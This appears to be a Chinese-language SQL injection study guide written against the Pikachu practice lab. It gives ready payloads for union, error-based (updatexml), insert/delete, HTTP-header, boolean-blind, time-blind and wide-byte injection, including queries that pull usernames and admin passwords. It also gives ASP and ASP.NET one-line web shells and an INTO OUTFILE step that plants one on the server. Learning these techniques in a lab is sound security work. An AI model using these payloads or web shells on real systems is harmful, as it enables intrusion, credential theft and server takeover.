SQL注入测试的思想:
常见的SQL注入点类型:
常见的测试语句:
SQL 注入漏洞测试:
数字型注入(POST传参):
字符型注入(GET传参):
搜索型注入:
XX型注入:
基于 union 联合查询的信息获取:
基于 函数 报错的信息获取:
基于 insert / update 注入(账号 || 密码):
delete 注入(留言板):
Http Header注入(http 头):
基于 boolean 盲注(真 / 假):
基于 Time 盲注(时间):
利用SQL注入进行远程控制服务器:
宽字节注入:
SQL注入的防御:
数字型:user_id=$id
字符型:user_id='$id'
搜索型:text LIKE '%{$_GET['SEARCH']}%'"
' and 1=1 # //单引号是闭合前面的数据(写闭合数据),因为 1=1 是真则返回是正常页面.
' and 1=2 # //单引号是闭合前面的数据(写闭合数据),因为 1=2 是假则返回是错误页面.
" and 1=1 # //单引号是闭合前面的数据(写闭合数据),因为 1=1 是真则返回是正常页面.
" and 1=2 # //单引号是闭合前面的数据(写闭合数据),因为 1=2 是假则返回是错误页面.
' or 1=1 # //返回所以信息.
" or 1=1 # //返回所以信息.
' //查看有没有报错.
" //查看有没有报错.
以上测试说明:可能存在注入点.
$id=$_POST['id'] //模拟后台传入的参数思想
select 字段1,字段2 from 表名 where id =$id
(注意:有时候是 ” 双引号,则单引号换为双引号)
$uname=$_GET['username'] //模拟后台传入的参数思想
select 字段1,字段2 from 表名 where username='$uname';
语句解析:
(1)前面的 ' 单引号是闭合 Mysql数据库 的单引号.
(2)在拼写 Mysql数据库 语句时后面也要有一个 ' 单引号.
(3)想方法把后面的 ' 单引号给注释掉,在 Mysql数据库 中是使用 # 或 -- 注释.
(注释 # 或 --后面的语句.)
(注意:有时候是 ” 双引号,则单引号换为双引号)
$uname=$_GET['username'] //模拟数据库后面的运行是这样的
select 字段1,字段2 from 表名 where username='kobe' or 1=1#';
select * from 表名 where 字符(username) like '%k%';
语句解析:
(1)like 是对表进行匹配性查询,匹配 % 中间含有的值,在 字符(username) 中所以含有 % 中间
的值(k)都会返回出来.
select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
//模拟数据库后面的运行是这样的
select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
语句解析:
(1)' 单引号前的数据是闭合 Mysql数据库 中的语句.( xxx%' )
(2)or 1=1 是查找这个表中所以的数据.
(3)# 或 -- 是 Mysql数据库 注释掉后面的语句.
(注意:有时候是 ” 双引号,则单引号换为双引号)
$uname=$_GET['username'] //模拟后台传入的参数思想
select 字段1,字段2 from 表名 where username=('$uname');
select 字段1,字段2 from 表名 where username=('xx') or 1=1 #');
语句解析:
(1)' 单引号前的数据是闭合 Mysql数据库 中的语句.( xx') )
(2)or 1=1 是查找这个表中所以的数据.
(3)# 或 -- 是 Mysql数据库 注释掉后面的语句.
(注意:有时候是 ” 双引号,则单引号换为双引号)
union 联合查询:可以通过联合查询来查询指定的数据.
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
(联合查询的字段 数 需要和主查询一致!)
思路:对查询的结果使用 order by 按照指定的列进行排序,如果指定的列不存在,数据库会报错。
通过报错判断查询结果的列数,从而确定主查询的字段数。
order by x //对查询的结果进行排序,按照第X列进行排序,默认数字0-9,字母a-z
Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
aa' order by 3 # //报错的
aa' order by 2 # //没有报错的
aa' union select database(),user() #
database() //取得当前的数据库
user() //取得当前登录的用户
技巧思路:
在 MYSQL 中使用一些指定的函数来制造报错,从而从报错信息中获取设定的息.
select/insert/update/delete都可以使用报错来获取信息.
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
基于报错的信息获取---三个常用的用来报错的函数:
updatexml() //函数是MYSQL对 XML文档 数据进行 查询和修改 的XPATH函数.
extractvalue() //函数也是MYSQL对 XML文档 数据进行 查询 的XPATH函数。
floor() // MYSQL 中用来 取整 的函数.
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值.
语法:UPDATEXML (xml_document, XPathstring, new_value)
第一个参数:xml_document,表中的字段名
第二个参数:XPathstring (Xpath格式的字符串),定位哪个位置
第三个参数:new_value,String格式,替换查找到的符合条件的
限制:Xpath定位必须是有效的,否则则会发生错误.
kobe' and updatexml(1,version(),0) #
对传入的数据进行处理:
kobe' and updatexml(1,concat(0x7e,version()),0) # //取的数据库版本
kobe' and updatexml(1,concat(0x7e,database()),0) # //取得当前的数据库
kobe' and updatexml(1,concat(0x7e,user()),0) # //取得当前登录的用户
0x7e 是 ~
concat()函数:传入的两个参数组合起来,然后再打印出来.
使用limit一次一次进行获取表名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #
// table_schema='数据库名'
// limit 0,1 只改 0 的那个数字( 0 代表第一个数据库名的名称, 1 代表第二个数据库名的名称,....)
获取到表名后,再获取列名:
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #
// table_name='表名'
// limit 0,1 只改 0 的那个数字( 0 代表第一个表名的名称, 1 代表第二个表名的名称,....)
获取到列名后,再获取数据:
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) #
//可以获取 用户名.
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) #
//可以获取 用户的密码.
模拟后台代码执行:(正常执行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx',11111,2,3,4,5)
模拟后台代码执行:(注入时的执行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,version()),0) or'',11111,2,3,4,5)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,user()),0) or'',11111,2,3,4,5)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,database()),0) or'',11111,2,3,4,5)
第二步:输入命令进行测试.
xxx' or updatexml(1,concat(0x7e,version()),0) or' //取的数据库版本
xxx' or updatexml(1,concat(0x7e,user()),0) or' //取得当前登录的用户
xxx' or updatexml(1,concat(0x7e,database()),0) or' //取得当前的数据库
后台执行的代码:
delete from message where id={$_GET['id']}
1 or updatexml(1,concat(0x7e,database()),0) //取的数据库版本
1 or updatexml(1,concat(0x7e,user()),0) //取得当前登录的用户
1 or updatexml(1,concat(0x7e,database()),0) //取得当前的数据库
原理及概括:
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
xxx' or updatexml(1,concat(0x7e,version()),0) or' //取的数据库版本
xxx' or updatexml(1,concat(0x7e,user()),0) or' //取得当前登录的用户
xxx' or updatexml(1,concat(0x7e,database()),0) or' //取得当前的数据库
admin' and updatexml(1,concat(0x7e,version()),0) # //取的数据库版本
admin' and updatexml(1,concat(0x7e,user()),0) # //取得当前登录的用户
admin' and updatexml(1,concat(0x7e,database()),0) # //取得当前的数据库
什么是盲注以及常见的盲注类型:
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错
此时无法在根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型
基于boolean的盲注主要表现症状:
(1)没有报错信息
(2)不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
(3)在正确的输入下,输入and 1=1 / and 1=2发现可以判断.
kobe' and 1=1 # //正常返回页面(真)
kobe' and 1=2 # //错误返回页面(假)
kobe' and ascii(substr(database(),1,1))>113 #
ascii 是转换为 ASCLL 编码
substr 是取字符,中间的 1 是取第一个字符.
database() 是取数据库名称
>113 是转换为 ASCLL 编码大于113,则正常返回页面,如果小于 113 ,则错误返回页面.
如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload:
kobe' and sleep(5)#
看看输入:kobe 和输入kobe ' and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞
kobe' and sleep(10) #
sleep 是暂停时间. 10 是秒
kobe' and if(substr(database(),1,1)='p',sleep(10),null) #
substr 是取字符,中间的 1 是取第一个字符.
database() 是取数据库名称
if 判断数据库名称第一个字符是不是 p ,如果是时间延长十秒,如果不是不延长
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大.
PHP:
ASP: <%eval request("bgxg")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.ltem["bgxg"],"unsafe");%>
通过SQL漏洞·写入恶意代码:
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv
kobe' union select ",2 into outfile "写入到服务器的目录/1.php" #
//outfile 是将前面的字段(一句话木马)结果输入到后面的目录中.
宽字节注入原理:
宽字节注入使用了转义的函数,对输入'进行了转义\'
但是可以利用反斜杠编码为%5c,然后再用%df构成(連)字绕过对 ' 的转义.
(设置编码时设置为了gbk编码)
kobe%df’ or 1=1#
学习链接:sqli基本概念和原理讲解_哔哩哔哩_bilibili